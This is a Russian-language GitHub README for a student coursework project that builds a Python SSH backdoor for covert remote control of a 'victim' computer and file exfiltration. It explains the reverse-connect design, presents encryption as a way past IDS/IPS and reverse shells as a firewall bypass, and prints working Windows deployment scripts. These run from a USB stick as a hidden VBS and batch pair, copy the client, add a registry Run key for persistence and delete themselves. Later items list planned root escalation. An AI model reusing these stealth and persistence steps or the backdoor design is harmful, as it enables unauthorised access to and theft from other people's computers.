Skip to content

SingularityUrBrain/backdoor

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

12 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Курсовая работа по дисциплине "Архитектура вычислительных систем"

Тема проекта

Backdoor

Техническое задание

Используя клиент-серверную архитектуру, написать программу на языке Python наподобие бэкдора для несанкционированного доступа к данным, удаленному управлению операционной системой. Использовать клиент-серверную архитектуру, SSH протокол для создания защищенного канала между сервером и клиентом. Реализовать возможность отправки файлов с компьютера жертвы на сервер.

Пояснительная записка

Содержание

  1. Введение
  2. Основные понятия для работы с сетью
  3. Архитектура бэкдора
  4. Серверная часть
  5. Клиентская часть
  6. Описание использования

Введение

Бэкдорами (backdoors) называют разновидность вредоносных программ, а также утилиты скрытого доступа к компьютеру, специально созданные разработчиками для выполнения несанкционированных действий. Термин произошел от англоязычного словосочетания back door, которое переводится как «задняя дверь» или «черный ход». Получив доступ к системе, злоумышленник устанавливает бэкдоры для повторного или резервного доступа к системе с целью реализации задуманного.

Бэкдоры выполняют две основные функции:

  • оперативное получение доступа к данным,
  • удаленное управление компьютером.

Возможности продукта огромные. Backdoor открывает доступ злоумышленнику к компьютеру жертвы, поэтому он может делать на нем все, что и владелец, но только удаленно. Например, копировать или загружать файлы, внедрять вредоносные и другие программы, считывать личные данные, перезагружать компьютер, делать скриншоты и т.д.

Бэкдор трудно обнаружить в системе, они никак не проявляют себя в системе, поэтому пользователь может не догадываться о присутствии вредоносной программы. При обнаружении бэкдора в системе, пользователь не сможет определить, кто его внедрил, и какая информация похищена. В то же время, он не сможет применить его на другом компьютере или в ином коде.

Бэкдоры были на четвертом месте по распространению угроз в 2018 году как для потребителей, так и для бизнеса - соответствующее увеличение на 34 и 173 процента по сравнению с предыдущим годом.

Основные понятия для работы с сетью

Клиент — сервер (англ. client–server) — вычислительная или сетевая архитектура, в которой сетевая нагрузка распределена между поставщиками услуг, называемыми серверами, и заказчиками услуг, называемыми клиентами. Фактически клиент и сервер — это программное обеспечение. Обычно эти программы расположены на разных вычислительных машинах и взаимодействуют между собой через вычислительную сеть посредством сетевых протоколов, но они могут быть расположены также и на одной машине.

Сокет (англ. socket — разъём) — название программного интерфейса для обеспечения обмена данными между процессами. Процессы при таком обмене могут исполняться как на одной ЭВМ, так и на различных ЭВМ, связанных между собой сетью. Сокет — абстрактный объект, представляющий конечную точку соединения.

Transmission Control Protocol (TCP, протокол управления передачей) — один из основных протоколов передачи данных интернета, предназначенный для управления передачей данных.

SSH (англ. Secure Shell — «безопасная оболочка») — сетевой протокол прикладного уровня, позволяющий производить удалённое управление операционной системой и туннелирование TCP-соединений (например, для передачи файлов). Шифрует весь трафик, включая и передаваемые пароли. SSH допускает выбор различных алгоритмов шифрования. SSH-клиенты и SSH-серверы доступны для большинства сетевых операционных систем. SSH позволяет безопасно передавать в незащищённой среде практически любой другой сетевой протокол. Таким образом, можно не только удалённо работать на компьютере через командную оболочку, но и передавать по шифрованному каналу звуковой поток или видео (например, с веб-камеры).

Архитектура бэкдора

Выше уже было рассмотрено понятие сетевая архитектура клиент-сервер. Для реализации бэкдора был использован следующий принцип архитектуры: с сервера посылаются команды на компьютер с бэкдором через SSH канал, а программа-клиент их выполняет и возвращает ответы в виде сообщений, файлов.

Как только будет запущен бэкдор (скрипт client.py), TCP SYN запрос будет отправлен серверу, который слушает заданный порт и ждет входящих запросов, чтобы выполнить 3-этапное "рукопожатие" (handshake):

  1. Хост А отправляет TCP SYNchronize пакет хосту Б. Хост Б получает SYN от А;
  2. Хост Б отправляет SYNchronize-ACKnowledgement. Хост А получает SYN-ACK от Б;
  3. Хост А отправляет ACKnowledge. Хост Б получает ACK от А;

После того как клиент пройдет аутентификацию поверх TCP сокета будет установлен SSH тоннель.

Внутри секретного канала можно передавать любые команды жертве и получать обратно результат выполнения. Шифрование - это один из лучших способов избежать IDS/IPS датчики, так как они будут полностью в неведении о передающемся трафике.

Так же можно использовать reverse shell - очень популярный метод известный как bypass FW правила, согласно которым блокируются все входящие соединения, но нельзя заблокировать все исходящие соединения, потому что они нужны для бизнес модели.

В Python есть много сторонних библиотек, которые упрощают SSH реализацию и обеспечивают высокий пользовательский уровень. В данной работе была использована библотека paramiko, которая предоставляет простоту и большой набор функциональности прямо из коробки.

Серверная часть

Основной интерфейс для управления поведением сервера заложен в классе Server файла server.py. Данный класс наследуется от интерфейса paramiko.ServerInterface, который нужен специально для создания своего собственного сервера.

Чтобы создать объект сервера нам нужно передать ему только имя пользователя и пароль для SSH соединения.
Далее нужно создать сокет и привязать его к адресу, и начать прослушку данного адреса - за это все отвечает метод create_start_listen_connection, который возвращает слушающий сокет.

После этого сервер ждет запроса на соединение с компьютера жертвы. Как только сервер получил сокет жертвы:

  • на основе его создается объект paramiko.Transport, содержащий параметры безопасности SSH соединения
  • в объект параметров добавляется RSA ключ хоста

Для создания сервера нужен RSA или DSS приватный ключ. У большинства дистрибутивов ОС Linux есть утилита openssl, с помощью которой можно сгенерировать ключ:

openssl genpkey -out 'test_rsa.key' -algorithm rsa -pkeyopt rsa_keygen_bits:2048

Для ОС Windows его можно сгенерировать, используя puttygen, например. Также в используемой библиотеке paramiko есть статический метод:

paramiko.RSAKey.generate(2048)
  • запускается сервер
  • через объект параметров безопасности извлекается открытый клиентом канал, и если был получен канал, а не None, происходит небольшая коммуникация.

Если объект параметров транспорта вернет None, значит пользователь не прошел аутентификацию или было превышено время ожидания получения открытого канала со стороны клиента.

Теперь есть все, чтобы запустить основной цикл удаленного доступа. Запускается он с помощью функции take_control, которая принимает шифруемый канал и объект параметров защищенного соединения. Дальше в цикле идет отправка команд, обработка, выполнение на стороне клиента и возвращение результатов на сервер.

Сервер заканчивает свою работу по команде server stop, которая вызывает у объекта параметров защищенного соединения метод close, закрывающий сессию и все привязанные к ней каналы.

Клиентская часть

Здесь будет рассказано о том, что происходит, когда жертва запускает бэкдор.

После запуска скрипта client.py первым делом извлекаются аргументы, переданные при запуске и необходимые для установления соединения с сервером.

Затем, используя параметры IP, порт, имя пользователя соединения, пароль соединения, создается объект класса Client. У данного обекта вызывается метод connect_auth. Метод может завершить свою работу несколькими способами:

  • Невозможно подключиться из-за неправильно указанного хоста
  • Отказано в доступе из-за неверного пароля/имени пользователя соединения
  • Соединение успешно установлено

После успешного соединения поверх TCP сокета будет установлен SSH тоннель.

Следующим шагом является открыть канал/сессию в данном тоннеле. Это можно сделать используя разработанный в ходе проекта метод open_channel, результатом которого является открытый канал.

Теперь все готово, чтобы использовать основной метод open_door, который представляет собой бесконечный цикл: получение команды - её обработка - исполнение - возвращение результата.
Основной модуль для обработки поступающих команд - это стандартный модуль языка python subprocess, который позволяет создавать новые процессы, подключаться к их каналам ввода/вывода/ошибок и получать их коды возврата. Для того чтобы выполнить какую-либо команду через терминал можно воспользоваться методом

subprocess.check_ouput(command, shell=True)

где параметр command и есть инструкция полученная с сервера. Выйти из цикла можно только с помощью специальной команды со стороны сервера: server stop.

Описание использования

Файл server.py следует запускать непосредственно на компьютере, с которого будет контролироваться целевая система. Файл client.py нужно внедрить на компьютер жертвы и запустить его (для Windows это предусмотрено).
1. запуск сервера

usage: server.py [-h] [-p PORT] un ps
positional arguments:
  un                    the username to establish ssh connection
  ps                    the password to establish ssh connection
optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  the ssh port, 22 by default

Стоит заметить, при запуске сервера без указания порта будет использоваться порт 22, данный порт является ssh по умолчанию и требует root доступ.

2. запуск клиента на целевой ЭВМ

usage: client.py [-h] [-v] sip sp un ps
positional arguments:
  sip            the server ip
  sp             the server port
  un             the username of the ssh connection
  ps             the password of the ssh connection
optional arguments:
  -h, --help     show this help message and exit
  -v, --verbose

2.1 запуск клиента на целевой ЭВМ (Windows)
(На ОС должен быть установлен python-интерпертатор!)
Для ОС Windows были написаны скрипты для скрытого запуска с флешки. На флешке должно быть 4 файла для успешного запуска клиентской части.

  1. Запустить нужно только 1 скрипт: run0.vbs:
CreateObject("Wscript.Shell").Run "onstart.bat",0,True

который запустит следующий скрипт без появления консоли:

  1. onstart.bat
@echo off
mkdir {path_to_dir_with_script}
copy "client.py" {path_to_dir_with_script} @rem 'backdoor' - dir to place our client program
copy "run.bat" {path_to_dir_with_bat(exe)} @rem exe better
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v {any_name} /d {path_to_bat(exe)}
del %0
exit
  1. run.bat
python {path_to_dir_with_script}\client.py {server_ip} {server_port} {ssh_uname} {ssh_pswd} @rem pass your params here (more details see above)
  1. client.py будет запускаться каждый раз при загрузке системы

После этого флешку можно извлекать. При безопасном извлечении возникнет предупреждение, что диск используется - это из-за shell скрипта, но можно не обращать на это внимания и спокойно извлекать диск.

Список использованной литературы

  1. wiki: клиент-сервер
  2. wiki: сокет
  3. infosecinstitute
  4. paramiko library
  5. argparse documentation
  6. socket documentation
  7. rsa key generation
  8. ant-malware: backdoor
  9. subprocess documentation

Todos

  • Добавить возможность возобновления работы после перезапуска системы
  • Сделать скрытый запуск для ОС Linux
  • Добавить возможность получения root прав
  • Сделать функцию для отправки скриптов клиенту